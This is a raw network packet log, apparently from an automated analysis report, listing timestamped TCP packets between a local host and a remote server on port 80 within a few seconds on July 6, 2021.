Jul 6, 2021 14:31:33.908822060 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908840895 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908842087 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908859968 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908875942 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908885002 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908899069 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.908905983 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908929110 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908956051 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.908984900 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909017086 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909039974 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909059048 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909064054 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909076929 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909089088 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909110069 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909110069 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909135103 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909140110 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909166098 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909168005 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909184933 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909195900 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909204960 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909208059 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909219980 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909236908 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909260988 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909264088 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909293890 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909296036 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909311056 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909327984 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909334898 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909352064 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909354925 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909373045 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909382105 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909393072 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909401894 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909411907 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909430027 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909430027 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909449100 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909455061 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909467936 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909482956 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909487963 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909506083 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909513950 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909521103 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909548998 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909550905 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909563065 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909570932 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909590006 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909595013 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909609079 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909621954 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909641981 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909647942 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909661055 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909672976 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909678936 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909698009 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909703970 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909717083 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909735918 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909739017 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909754992 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909765959 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909776926 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909794092 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909796000 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909815073 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909820080 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909832954 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909852028 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909852028 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909869909 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909883976 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909889936 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909909964 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909909964 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909930944 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909938097 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909950018 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909959078 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.909966946 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909991980 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.909992933 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.910017014 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.910070896 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.927639961 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.927675962 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.927711964 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.927742958 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.927772999 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.927803040 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.927831888 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.927850962 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.927870989 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.927881956 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.927900076 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.927917957 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.927937031 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.927961111 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.927969933 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.927998066 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.949522018 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.949582100 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.949634075 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.949656963 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.949682951 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.949687004 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.949687958 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.949738979 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.949745893 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.949791908 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.949815989 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.949842930 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.949853897 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.949911118 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.949912071 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.949970007 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.949995995 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950040102 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950097084 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950119019 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950145960 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950180054 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950196028 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950197935 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950227022 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950246096 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950269938 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950295925 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950314045 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950356960 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950361967 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950404882 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950407982 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950450897 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950453043 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950490952 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950512886 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950532913 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950556040 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950577974 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950598955 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950619936 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950634003 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950649977 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950687885 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950710058 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950711966 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950757027 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950769901 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950798988 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.950803041 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.950839043 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951030970 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951108932 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951126099 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951183081 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951205969 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951215029 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951261044 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951261997 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951293945 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951311111 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951359034 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951359987 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951402903 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951411009 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951462030 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951466084 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951515913 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951523066 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951569080 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951577902 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951610088 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951616049 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951649904 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951659918 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951689959 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951705933 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951734066 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951738119 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951764107 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951809883 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951812983 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951853037 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951864004 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951893091 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951925039 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951932907 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951956987 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.951973915 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.951982021 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952013969 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952037096 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952054024 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952063084 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952095032 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952100039 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952135086 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952142954 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952171087 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952174902 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952214956 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952214956 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952255011 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952255011 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952295065 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952296019 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952337027 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952344894 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952384949 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952384949 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952419996 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952425957 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952462912 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952466011 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952505112 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952559948 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952600956 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952606916 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952646017 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952647924 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952687025 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952688932 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952723980 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952728987 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952766895 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952769041 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952809095 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952809095 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952846050 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952847958 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952893019 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.952918053 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952959061 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.952996016 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.953000069 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.953042984 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.953071117 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.953080893 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.953083038 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.953083038 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.953125000 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.953125000 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.953161001 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.953166008 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.953206062 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.953208923 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.953243017 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.953247070 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.953285933 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.953286886 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.953321934 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.953321934 CEST	80	49817	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.953362942 CEST	49817	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.967550993 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.967582941 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.967608929 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.967618942 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.967652082 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.967664003 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.967694998 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.967706919 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.967735052 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.967751980 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.967766047 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.967782021 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.967796087 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.967806101 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.967830896 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.967844963 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.967859030 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.967874050 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.967909098 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.967912912 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.967924118 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.967966080 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.967976093 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.968003035 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.968033075 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.968053102 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.968065023 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.968081951 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.968101978 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.968121052 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.968138933 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.968158007 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.968168020 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.968193054 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.968204021 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.968234062 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:33.968242884 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:33.968272924 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.006768942 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.006819963 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.006853104 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.006860018 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.006870985 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.006894112 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.006916046 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.006947994 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.006967068 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.006989956 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.006999016 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007026911 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007035971 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007064104 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007072926 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007111073 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007112026 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007167101 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007189035 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007201910 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007231951 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007239103 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007272959 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007283926 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007294893 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007324934 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007371902 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007376909 CEST	49819	80	192.168.2.5	45.90.58.179
Jul 6, 2021 14:31:34.007397890 CEST	80	49819	45.90.58.179	192.168.2.5
Jul 6, 2021 14:31:34.007431030 CEST	80	49819	45.90.58.179	192.168.2.5
